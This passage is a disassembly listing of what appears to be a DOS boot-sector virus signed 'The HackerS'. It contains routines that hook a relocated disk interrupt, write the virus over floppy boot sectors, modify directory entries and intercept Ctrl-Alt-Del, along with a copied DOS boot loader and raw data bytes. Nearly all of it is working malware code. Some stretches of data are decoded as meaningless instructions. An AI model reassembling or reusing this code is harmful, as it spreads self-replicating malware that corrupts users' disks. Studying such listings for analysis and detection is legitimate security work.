  1709.         stosb                ; Store al to es:[di]
  1710.         stosb                ; Store al to es:[di]
  1711.         stosb                ; Store al to es:[di]
  1712.         mov    al,ds:data_0033e
  1713.         add    [bx+si],al
  1714.         add    [bx+si],al
  1715.         add    [bx+si],al
  1716.         add    [bx+si],al
  1717.         add    [bx+si],al
  1718.         add    [bx+si],al
  1719.         add    [bx+si],al
  1720.         add    [bx+si],al
  1721.         stosb                ; Store al to es:[di]
  1722.         test    al,0
  1723.         add    [bx+si],al
  1724.         add    [bp+si+0AAh],ch
  1725.         add    [bx+si],al
  1726.         add    [bx+si],al
  1727.         add    [bx+si],al
  1728.         add    [bx+si],al
  1729.         add    [bp+si],cl
  1730.         stosb                ; Store al to es:[di]
  1731.         stosb                ; Store al to es:[di]
  1732.         test    al,0
  1733.         or    ch,[bp+si+80h]
  1734.         add    [bx+si],al
  1735.         add    [bx+si],al
  1736.         add    [bx+si],al
  1737.         stosb                ; Store al to es:[di]
  1738.         stosb                ; Store al to es:[di]
  1739.         add    byte ptr [bx+si],0
  1740.         add    [bp+si],ch
  1741.         stosb                ; Store al to es:[di]
  1742.         add    [bx+si],al
  1743.         add    [bp+si],ch
  1744.         stosb                ; Store al to es:[di]
  1745.         add    [bp+si],al
  1746.         stosb                ; Store al to es:[di]
  1747.         mov    al,byte ptr ds:[0A00Ah]
  1748.         add    [bx+si],al
  1749.         add    [bx+si],al
  1750.         add    [bx+si],al
  1751.         add    [bx+si],al
  1752.         add    [bx+si],al
  1753.         add    [bx+si],al
  1754.         add    [bx+si],al
  1755.         add    [bx+si],al
  1756.         add    [bx+si],al
  1757.         add    [bx+si],al
  1758.         add    [bx+si],al
  1759.         add    dh,dh
  1760.         and    bp,[bx+si]
  1761.         add    [bx+si],al
  1762.         push    ax
  1763.         push    bx
  1764.         push    cx
  1765.         push    dx
  1766.         cmp    data_0045,1
  1767.         jne    loc_0021        ; Jump if not equal
  1768.         cmp    data_0044,0
  1769.         je    loc_0022        ; Jump if equal
  1770. loc_0021:
  1771.         xor    ah,ah            ; Zero register
  1772.         int    6Fh            ; ??int non-standard interrupt
  1773.         jc    loc_0022        ; Jump if carry Set
  1774.         mov    dh,data_0044
  1775.         mov    dl,byte ptr cs:[529h]
  1776.         mov    cx,data_0045
  1777.         mov    bx,200h
  1778.         mov    ax,201h
  1779.         int    6Fh            ; ??int non-standard interrupt
  1780. loc_0022:
  1781.         pop    dx
  1782.         pop    cx
  1783.         pop    bx
  1784.         pop    ax
  1785.         retn
  1786. sub_0003    endp
  1787.  
  1788.         db     50h, 53h, 51h, 52h, 32h
  1789.         dw    0CDE4h            ; Data table (indexed access)
  1790.         db    6Fh
  1791.         dw    1272h            ; Data table (indexed access)
  1792.         db     32h,0F6h, 2Eh, 8Ah, 16h, 29h
  1793.         db     05h,0B9h, 21h, 28h,0BBh, 00h
  1794.         db     02h,0B8h, 01h, 02h,0CDh, 6Fh
  1795.         db     5Ah, 59h, 5Bh, 58h,0C3h, 50h
  1796.         db     53h, 51h, 52h, 32h,0E4h,0CDh
  1797.         db     6Fh, 72h, 1Ah, 32h,0F6h, 8Ah
  1798.         db     16h, 29h, 05h,0B5h, 28h,0BBh
  1799.         db     7Ch, 06h,0B8h, 09h, 05h,0CDh
  1800.         db     6Fh, 73h, 05h,0F6h,0C4h, 82h
  1801.         db     75h, 03h
  1802.         db    0E8h, 29h, 00h
  1803.         db     5Ah, 59h, 5Bh, 58h,0C3h, 28h
  1804.         db     00h, 21h, 02h, 28h, 00h, 22h
  1805.         db     02h, 28h, 00h, 23h, 02h, 28h
  1806.         db     00h, 24h, 02h, 28h, 00h, 25h
  1807.         db     02h, 28h, 00h, 26h, 02h, 28h
  1808.         db     00h, 27h, 02h, 28h, 00h, 28h
  1809.         db     02h, 28h, 00h, 29h, 02h
  1810.  
  1811. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1812. ;                   SUBROUTINE
  1813. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1814.  
  1815. sub_0005    proc    near
  1816.         push    ax
  1817.         push    bx
  1818.         push    cx
  1819.         push    dx
  1820.         xor    ah,ah            ; Zero register
  1821.         int    6Fh            ; ??int non-standard interrupt
  1822.         jc    loc_0026        ; Jump if carry Set
  1823.         xor    dh,dh            ; Zero register
  1824.         mov    dl,byte ptr ds:[529h]
  1825.         mov    cx,2821h
  1826.         mov    bx,200h
  1827.         mov    ax,309h
  1828.         int    6Fh            ; ??int non-standard interrupt
  1829.         jnc    loc_0025        ; Jump if carry=0
  1830.         test    ah,82h
  1831.         jnz    loc_0026        ; Jump if not zero
  1832. loc_0025:
  1833.         xor    bx,bx            ; Zero register
  1834.         call    sub_0006
  1835.         cmp    cs:data_0050,3
  1836.         jb    loc_0026        ; Jump if below
  1837.         call    sub_0007
  1838. loc_0026:
  1839.         pop    dx
  1840.         pop    cx
  1841.         pop    bx
  1842.         pop    ax
  1843.         retn
  1844. sub_0005    endp
  1845.  
  1846.  
  1847. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1848. ;                   SUBROUTINE
  1849. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1850.  
  1851. sub_0006    proc    near
  1852.         push    ax
  1853.         push    cx
  1854.         push    dx
  1855.         xor    ah,ah            ; Zero register
  1856.         int    6Fh            ; ??int non-standard interrupt
  1857.         jc    loc_0027        ; Jump if carry Set
  1858.         xor    dh,dh            ; Zero register
  1859.         mov    dl,byte ptr cs:[529h]
  1860.         mov    cx,1
  1861.         mov    ax,301h
  1862.         int    6Fh            ; ??int non-standard interrupt
  1863. loc_0027:
  1864.         pop    dx
  1865.         pop    cx
  1866.         pop    ax
  1867.         retn
  1868. sub_0006    endp
  1869.  
  1870.  
  1871. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1872. ;                   SUBROUTINE
  1873. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1874.  
  1875. sub_0007    proc    near
  1876. ;*        jmp    short loc_0028        ;*
  1877.         db    0EBh, 10h
  1878.         nop
  1879.         pop    cx
  1880.         stc                ; Set carry flag
  1881.         inc    bx
  1882.         stc                ; Set carry flag
  1883.         xor    cx,di
  1884.         inc    bp
  1885.         stc                ; Set carry flag
  1886.         push    dx
  1887.         stc                ; Set carry flag
  1888.         push    ax
  1889.         add    [bx+si],al
  1890.         push    es
  1891.         add    [bx+si+53h],dx
  1892.         push    cx
  1893.         push    dx
  1894.         push    ds
  1895.         push    es
  1896.         push    si
  1897.         push    di
  1898.         mov    al,byte ptr ds:[529h]
  1899.         mov    byte ptr ds:[701h],al
  1900.         mov    byte ptr ds:[704h],1
  1901.         mov    byte ptr ds:[702h],0
  1902.         mov    byte ptr ds:[703h],6
  1903. loc_0029:
  1904.         mov    dh,byte ptr ds:[702h]
  1905.         mov    dl,byte ptr ds:[701h]
  1906.         xor    ch,ch            ; Zero register
  1907.         mov    cl,byte ptr ds:[703h]
  1908.         lea    bx,cs:[1277h]        ; Load effective addr
  1909.         mov    ax,201h
  1910.         int    6Fh            ; ??int non-standard interrupt
  1911.         xor    bx,bx            ; Zero register
  1912. loc_0030:
  1913.         mov    al,byte ptr ds:[1282h][bx]
  1914.         test    al,8
  1915.         jz    loc_0031        ; Jump if zero
  1916.         or    byte ptr ds:[1282h][bx],9
  1917.         lea    si,ds:[6F6h]        ; Load effective addr
  1918.         lea    di,[bx+1277h]        ; Load effective addr
  1919.         mov    cx,0Bh
  1920.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  1921.         xor    al,al            ; Zero register
  1922.         lea    di,[bx+1283h]        ; Load effective addr
  1923.         mov    cx,14h
  1924.         stosb                ; Store al to es:[di]
  1925.         call    sub_0008
  1926.         jmp    short loc_0035
  1927.         db    90h
  1928. loc_0031:
  1929.         add    bx,20h
  1930.         cmp    bx,200h
  1931.         jae    loc_0032        ; Jump if above or =
  1932.         jmp    short loc_0030
  1933. loc_0032:
  1934.         cmp    byte ptr ds:[703h],9
  1935.         jb    loc_0033        ; Jump if below
  1936.         xor    byte ptr ds:[702h],1
  1937.         mov    byte ptr ds:[703h],1
  1938.         jmp    short loc_0034
  1939. loc_0033:
  1940.         inc    byte ptr ds:[703h]
  1941. loc_0034:
  1942.         inc    byte ptr ds:[704h]
  1943.         cmp    byte ptr ds:[704h],7
  1944.         ja    loc_0035        ; Jump if above
  1945.         jmp    short loc_0029
  1946. loc_0035:
  1947.         pop    di
  1948.         pop    si
  1949.         pop    es
  1950.         pop    ds
  1951.         pop    dx
  1952.         pop    cx
  1953.         pop    bx
  1954.         pop    ax
  1955.         retn
  1956. sub_0007    endp
  1957.  
  1958.  
  1959. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1960. ;                   SUBROUTINE
  1961. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1962.  
  1963. sub_0008    proc    near
  1964.         push    ax
  1965.         push    bx
  1966.         push    cx
  1967.         push    dx
  1968.         xor    ah,ah            ; Zero register
  1969.         int    6Fh            ; ??int non-standard interrupt
  1970.         jc    loc_0036        ; Jump if carry Set
  1971.         mov    dh,byte ptr ds:[702h]
  1972.         mov    dl,byte ptr ds:[701h]
  1973.         xor    ch,ch            ; Zero register
  1974.         mov    cl,byte ptr ds:[703h]
  1975.         lea    bx,cs:[1277h]        ; Load effective addr
  1976.         mov    ax,301h
  1977.         int    6Fh            ; ??int non-standard interrupt
  1978. loc_0036:
  1979.         pop    dx
  1980.         pop    cx
  1981.         pop    bx
  1982.         pop    ax
  1983.         retn
  1984. sub_0008    endp
  1985.  
  1986.         db    0E9h, 0Bh
  1987.         db    0Ah, 'The HackerS'
  1988.         db     00h, 00h, 00h, 00h,0AAh,0A8h
  1989.         db     00h,0AAh,0A0h, 00h, 00h, 00h
  1990.         db     00h, 0Ah,0AAh,0AAh,0AAh,0AAh
  1991.         db    0AAh,0A0h, 00h, 20h, 00h, 00h
  1992.         db     00h, 00h, 00h, 0Ah,0AAh, 80h
  1993.         db     00h, 00h, 00h, 02h
  1994.         db    7 dup (0AAh)
  1995.         db    0A8h, 00h, 2Ah,0AAh, 00h, 00h
  1996.         db    0F6h, 22h, 28h, 00h, 00h,0EBh
  1997.         db     66h, 90h, 21h, 00h, 02h, 87h
  1998.         db    0E9h, 00h,0F0h, 91h, 08h, 00h
  1999.         db    0C8h, 00h, 00h
  2000.         db    ' Welcome to the'
  2001.         db    '     C l u b     --The HackerS--'
  2002.         db    '     Hackin', 27h, '       All T'
  2003.         db    'he Time  '
  2004.         db     00h, 00h,0FFh,0FFh, 00h, 7Ch
  2005.         db     00h
  2006.         db     00h, 9Ch, 50h, 1Eh, 06h, 56h
  2007.         db     57h, 33h,0C0h, 8Eh,0D8h, 8Eh
  2008.         db    0C0h, 2Eh,0C6h, 06h, 05h, 04h
  2009.         db     08h,0A1h, 4Ch, 00h, 3Dh, 26h
  2010.         db     05h, 74h, 3Fh,0FAh, 2Eh,0FFh
  2011.         db     06h, 03h, 04h,0A1h, 4Ch, 00h
  2012.         db    0A3h,0BCh, 01h, 2Eh,0A3h, 0Ah
  2013.         db     04h,0A1h, 4Eh, 00h,0A3h,0BEh
  2014.         db     01h, 2Eh,0A3h, 0Ch, 04h,0B8h
  2015.         db     26h, 05h,0A3h, 4Ch, 00h, 8Ch
  2016.         db    0C8h,0A3h, 4Eh, 00h,0A1h, 24h
  2017.         db     00h, 2Eh,0A3h, 06h, 04h,0A1h
  2018.         db     26h, 00h, 2Eh,0A3h, 08h, 04h
  2019.         db    0C7h, 06h, 24h, 00h,0D9h, 04h
  2020.         db     8Ch,0C8h,0A3h, 26h, 00h,0FBh
  2021. loc_0039:
  2022.         push    cs
  2023.         pop    ds
  2024.         mov    si,offset data_0041+40h    ; (' ')
  2025.         mov    di,data_0011e
  2026.         mov    cx,200h
  2027.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  2028.         pop    di
  2029.         pop    si
  2030.         pop    es
  2031.         pop    ds
  2032.         pop    ax
  2033.         popf                ; Pop flags
  2034.         jmp    cs:data_0057
  2035.         sti                ; Enable interrupts
  2036.         push    ax
  2037.         push    cx
  2038.         push    ds
  2039.         pushf                ; Push flags
  2040.         xor    ax,ax            ; Zero register
  2041.         mov    ds,ax
  2042.         in    al,60h            ; port 60h, keybd scan or sw1
  2043.         test    al,80h
  2044.         jnz    loc_0042        ; Jump if not zero
  2045.         mov    ah,ds:keybd_flags_1_
  2046.         test    ah,8
  2047.         jz    loc_0042        ; Jump if zero
  2048.         test    ah,4
  2049.         jz    loc_0042        ; Jump if zero
  2050.         cmp    al,53h            ; 'S'
  2051.         jne    loc_0040        ; Jump if not equal
  2052.         cmp    byte ptr ds:video_mode_,7
  2053.         je    loc_0041        ; Jump if equal
  2054.         cmp    cs:data_0050,3
  2055.         jb    loc_0041        ; Jump if below
  2056. ;*        call    sub_0017        ;*
  2057.         db    0E8h,0B7h, 02h
  2058.         jmp    short loc_0041
  2059. loc_0040:
  2060.         cmp    al,3Fh            ; '?'
  2061.         jne    loc_0042        ; Jump if not equal
  2062. loc_0041:
  2063.         mov    word ptr ds:warm_boot_flag_,1234h
  2064.         jmp    cs:data_0056
  2065. loc_0042:
  2066.         popf                ; Pop flags
  2067.         pop    ds
  2068.         pop    cx
  2069.         pop    ax
  2070.         jmp    dword ptr cs:data_0052
  2071. ;*        jmp    short loc_0044        ;*
  2072.         db    0EBh, 0Ah
  2073.         add    [bx+di],al
  2074.         add    [bx+di],al
  2075.         jo    loc_0043        ; Jump if overflow=1
  2076. loc_0043:
  2077.         popf                ; Pop flags
  2078.         adc    [bp+si],ax
  2079.         add    ds:data_0010e[si],bx
  2080.         push    si
  2081.         push    di
  2082.         push    cs
  2083.         pop    ds
  2084.         mov    byte ptr ds:[528h],dh
  2085.         mov    byte ptr ds:[529h],dl
  2086.         mov    byte ptr ds:[52Ah],ch
  2087.         mov    byte ptr ds:[52Bh],cl
  2088.         mov    word ptr ds:[52Ch],es
  2089.         mov    word ptr ds:[52Eh],bx
  2090.         mov    byte ptr ds:[530h],ah
  2091.         mov    byte ptr data_0066,al    ; ('WS      EXE ')
  2092.         cmp    ah,2
  2093.         jb    loc_0045        ; Jump if below
  2094.         cmp    ah,5
  2095.         ja    loc_0045        ; Jump if above
  2096.         cmp    dl,1
  2097.         ja    loc_0045        ; Jump if above
  2098.         cmp    ch,0
  2099.         jne    loc_0045        ; Jump if not equal
  2100.         cmp    dh,0
  2101.         jne    loc_0045        ; Jump if not equal
  2102.         dec    cs:data_0051
  2103.         jz    loc_0046        ; Jump if zero
  2104. loc_0045:
  2105.         jmp    short loc_0047
  2106. loc_0046:
  2107.         push    cs
  2108.         pop    es
  2109.         mov    cs:data_0051,2
  2110.         call    sub_0009
  2111. loc_0047:
  2112.         mov    dh,byte ptr ds:[528h]
  2113.         mov    dl,byte ptr ds:[529h]
  2114.         mov    ch,byte ptr ds:[52Ah]
  2115.         mov    cl,byte ptr ds:[52Bh]
  2116.         mov    es,word ptr ds:[52Ch]
  2117.         mov    bx,word ptr ds:[52Eh]
  2118.         mov    ah,byte ptr ds:[530h]
  2119.         mov    al,byte ptr data_0066    ; ('WS      EXE ')
  2120.         pop    di
  2121.         pop    si
  2122.         pop    es
  2123.         pop    ds
  2124.         popf                ; Pop flags
  2125.         jmp    dword ptr cs:data_0054
  2126.  
  2127. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2128. ;                   SUBROUTINE
  2129. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  2130.  
  2131. sub_0009    proc    near
  2132.         push    ax
  2133.         push    bx
  2134.         push    cx
  2135.         push    dx
  2136.         xor    ah,ah            ; Zero register
  2137.         int    6Fh            ; ??int non-standard interrupt
  2138.         jc    loc_0050        ; Jump if carry Set
  2139.         xor    dh,dh            ; Zero register
  2140.         mov    dl,byte ptr cs:[529h]
  2141.         mov    cx,1
  2142.         mov    bx,200h
  2143.         mov    ax,201h
  2144.         int    6Fh            ; ??int non-standard interrupt
  2145.         jc    loc_0050        ; Jump if carry Set
  2146.         cmp    data_0047,537Ch
  2147.         je    loc_0050        ; Jump if equal
  2148.         cmp    data_0046,0FAFAh
  2149.         je    loc_0048        ; Jump if equal
  2150.         cmp    data_0043,1234h
  2151.         jne    loc_0049        ; Jump if not equal
  2152.         call    sub_0010
  2153.         jc    loc_0050        ; Jump if carry Set
  2154.         jmp    short loc_0049
  2155. loc_0048:
  2156. ;*        call    sub_0011        ;*
  2157.         db    0E8h, 44h, 00h
  2158.         jc    loc_0050        ; Jump if carry Set
  2159. loc_0049:
  2160.         mov    bx,200h
  2161. ;*        call    sub_0013        ;*
  2162.         db    0E8h,0E1h, 00h
  2163.         jc    loc_0050        ; Jump if carry Set
  2164. ;*        call    sub_0012        ;*
  2165.         db    0E8h, 58h, 00h
  2166. loc_0050:
  2167.         pop    dx
  2168.         pop    cx
  2169.         pop    bx
  2170.         pop    ax
  2171.         retn
  2172. sub_0009    endp
  2173.  
  2174.  
  2175. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2176. ;                   SUBROUTINE
  2177. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  2178.  
  2179. sub_0010    proc    near
  2180.         mul    byte ptr [bx+di]    ; ax = data * al
  2181.         sub    [bx+si],al
  2182.         add    bl,ch
  2183.         xor    al,90h
  2184.         dec    cx
  2185.         inc    dx
  2186.         dec    bp
  2187.         and    [bx+si],ah
  2188.         xor    bp,ds:data_0036e
  2189.         add    al,[bp+si]
  2190.         add    [bx+si],ax
  2191.         add    dh,[bx+si+0]
  2192.         rol    byte ptr [bp+si],1    ; Rotate
  2193.         std                ; Set direction flag
  2194.         add    al,[bx+si]
  2195.         or    [bx+si],ax
  2196.         add    al,[bx+si]
  2197.         add    [bx+si],al
  2198.         add    [bx+si],al
  2199.         add    [bx+si],al
  2200.         add    [bx+si],al
  2201.         add    [bx+si],al
  2202.         add    [bx+si],al
  2203.         add    [bx+si],al
  2204.         add    [bx+si],al
  2205.         add    [bx+si],al
  2206.         add    [bp+si],dl
  2207.         add    [bx+si],al
  2208.         add    [bx+si],al
  2209.         add    [bx+si],ax
  2210.         cli                ; Disable interrupts
  2211.         xor    ax,ax            ; Zero register
  2212.         mov    ss,ax
  2213.         mov    sp,7C00h
  2214.         push    ss
  2215.         pop    es
  2216.         mov    bx,data_0005e
  2217.         lds    si,dword ptr ss:[bx]    ; Load 32 bit ptr
  2218.         push    ds
  2219.         push    si
  2220.         push    ss
  2221.         push    bx
  2222.         mov    di,data_0022e
  2223.         mov    cx,0Bh
  2224.         cld                ; Clear direction
  2225.  
  2226. locloop_0051:
  2227.         lodsb                ; String [si] to al
  2228.         cmp    byte ptr es:[di],0
  2229.         je    loc_0052        ; Jump if equal
  2230.         mov    al,es:[di]
  2231. loc_0052:
  2232.         stosb                ; Store al to es:[di]
  2233.         mov    al,ah
  2234.         loop    locloop_0051        ; Loop if cx > 0
  2235.  
  2236.         push    es
  2237.         pop    ds
  2238.         mov    [bx+2],ax
  2239.         mov    word ptr [bx],7C2Bh
  2240.         sti                ; Enable interrupts
  2241.         int    13h            ; Disk  dl=drive ?  ah=func 00h
  2242.                         ;  reset disk, al=return status
  2243.         jc    loc_0055        ; Jump if carry Set
  2244.         mov    al,ds:data_0014e
  2245.         cbw                ; Convrt byte to word
  2246.         mul    word ptr ds:data_0017e    ; ax = data * ax
  2247.         add    ax,ds:data_0020e
  2248.         add    ax,ds:data_0013e
  2249.         mov    ds:data_0028e,ax
  2250.         mov    ds:data_0023e,ax
  2251.         mov    ax,20h
  2252.         mul    word ptr ds:data_0015e    ; ax = data * ax
  2253.         mov    bx,ds:data_0012e
  2254.         add    ax,bx
  2255.         dec    ax
  2256.         div    bx            ; ax,dx rem=dx:ax/reg
  2257.         add    ds:data_0023e,ax
  2258.         mov    bx,500h
  2259.         mov    ax,ds:data_0028e
  2260.         call    sub_0015
  2261.         mov    ax,201h
  2262.         call    sub_0016
  2263.         jc    loc_0053        ; Jump if carry Set
  2264.         mov    di,bx
  2265.         mov    cx,0Bh
  2266.         mov    si,data_0030e
  2267.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  2268.         jnz    loc_0053        ; Jump if not zero
  2269.         lea    di,[bx+20h]        ; Load effective addr
  2270.         mov    si,data_0031e
  2271.         mov    cx,0Bh
  2272.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  2273.         jz    loc_0056        ; Jump if zero
  2274. loc_0053:
  2275.         mov    si,data_0029e
  2276. loc_0054:
  2277.         call    sub_0014
  2278.         xor    ah,ah            ; Zero register
  2279.         int    16h            ; Keyboard i/o  ah=function 00h
  2280.                         ;  get keybd char in al, ah=scan
  2281.         pop    si
  2282.         pop    ds
  2283.         pop    word ptr [si]
  2284.         pop    word ptr [si+2]
  2285.         int    19h            ; Bootstrap loader
  2286. loc_0055:
  2287.         mov    si,7DC0h
  2288.         jmp    short loc_0054
  2289. loc_0056:
  2290.         mov    ax,ds:data_0009e
  2291.         xor    dx,dx            ; Zero register
  2292.         div    word ptr ds:data_0012e    ; ax,dxrem=dx:ax/data
  2293.         inc    al
  2294.         mov    ds:data_0026e,al
  2295.         mov    ax,ds:data_0023e
  2296.         mov    ds:data_0027e,ax
  2297.         mov    bx,700h
  2298. loc_0057:
  2299.         mov    ax,ds:data_0023e
  2300.         call    sub_0015
  2301.         mov    ax,ds:data_0018e
  2302.         sub    al,ds:data_0025e
  2303.         inc    ax
  2304.         cmp    ds:data_0026e,al
  2305.         jae    loc_0058        ; Jump if above or =
  2306.         mov    al,ds:data_0026e
  2307. loc_0058:
  2308.         push    ax
  2309.         call    sub_0016
  2310.         pop    ax
  2311.         jc    loc_0055        ; Jump if carry Set
  2312.         sub    ds:data_0026e,al
  2313.         jz    loc_0059        ; Jump if zero
  2314.         add    ds:data_0023e,ax
  2315.         mul    word ptr ds:data_0012e    ; ax = data * ax
  2316.         add    bx,ax
  2317.         jmp    short loc_0057
  2318. loc_0059:
  2319.         mov    ch,ds:data_0016e
  2320.         mov    dl,ds:data_0032e
  2321.         mov    bx,ds:data_0027e
  2322. ;*        jmp    far ptr loc_0001    ;*
  2323. sub_0010    endp
  2324.  
  2325.         db    0EAh, 00h, 00h, 70h, 00h
  2326.  
  2327. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2328. ;                   SUBROUTINE
  2329. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  2330.  
  2331. sub_0014    proc    near
  2332. loc_0060:
  2333.         lodsb                ; String [si] to al
  2334.         or    al,al            ; Zero ?
  2335.         jz    loc_ret_0061        ; Jump if zero
  2336.         mov    ah,0Eh
  2337.         mov    bx,7
  2338.         int    10h            ; Video display   ah=functn 0Eh
  2339.                         ;  write char al, teletype mode
  2340.         jmp    short loc_0060
  2341.  
  2342. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2343.  
  2344. sub_0015:
  2345.         xor    dx,dx            ; Zero register
  2346.         div    word ptr ds:data_0018e    ; ax,dxrem=dx:ax/data
  2347.         inc    dl
  2348.         mov    ds:data_0025e,dl
  2349.         xor    dx,dx            ; Zero register
  2350.         div    word ptr ds:data_0019e    ; ax,dxrem=dx:ax/data
  2351.         mov    ds:data_0021e,dl
  2352.         mov    ds:data_0024e,ax
  2353.  
  2354. loc_ret_0061:
  2355.         retn
  2356. sub_0014    endp
  2357.  
  2358.  
  2359. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  2360. ;                   SUBROUTINE
  2361. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  2362.  
  2363. sub_0016    proc    near
  2364.         mov    ah,2
  2365.         mov    dx,ds:data_0024e
  2366.         mov    cl,6
  2367.         shl    dh,cl            ; Shift w/zeros fill
  2368.         or    dh,ds:data_0025e
  2369.         mov    cx,dx
  2370.         xchg    ch,cl
  2371.         mov    dl,ds:data_0032e
  2372.         mov    dh,ds:data_0021e
  2373.         int    13h            ; Disk  dl=drive ?  ah=func 02h
  2374.                         ;  read sectors to memory es:bx
  2375.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  2376.         retn
  2377. sub_0016    endp
  2378.  
  2379.         db    0Dh, 0Ah, 'Non-System disk or dis'
  2380.         db    'k error', 0Dh, 0Ah, 'Replace and'
  2381.         db    ' strike any key when ready', 0Dh
  2382.         db    0Ah, 0
  2383.         db    0Dh, 0Ah, 'Disk Boot failure', 0Dh
  2384.         db    0Ah, 0
  2385.         db    'IBMBIO  COMIBMDOS  COM'
  2386.         db    18 dup (0)
  2387.         db     55h,0AAh, 00h, 03h, 00h, 00h
  2388.         db     01h, 00h, 02h, 00h, 00h, 01h
  2389.         db     00h, 01h, 00h, 00h, 01h, 00h
  2390.         db     09h, 00h, 00h, 00h, 00h, 08h
  2391.         db     00h, 00h, 00h, 00h, 07h, 00h
  2392.         db     00h, 00h, 00h, 06h, 00h, 00h
  2393.         db     00h, 00h, 05h, 00h, 00h, 00h
  2394.         db    0F6h, 04h, 00h, 00h, 00h,0FDh
  2395.         db    0FFh,0FFh, 00h
  2396.         db    509 dup (0)
  2397.         db     03h, 00h, 00h, 00h,0F6h, 02h
  2398.         db     00h, 00h, 00h,0FDh,0FFh,0FFh
  2399.         db     00h
  2400.         db    508 dup (0)
  2401.         db    0F6h, 01h, 00h, 00h, 00h,0EBh
  2402.         db     29h, 90h, 22h, 34h, 12h, 00h
  2403.         db     01h, 00h, 00h, 00h, 00h, 02h
  2404.         db     02h, 01h, 00h, 02h, 70h, 00h
  2405.         db    0D0h, 02h,0FDh, 02h, 00h, 09h
  2406.         db     00h, 02h, 00h
  2407.         db    8 dup (0)
  2408.         db     0Fh, 00h, 00h, 00h, 00h, 01h
  2409.         db     00h
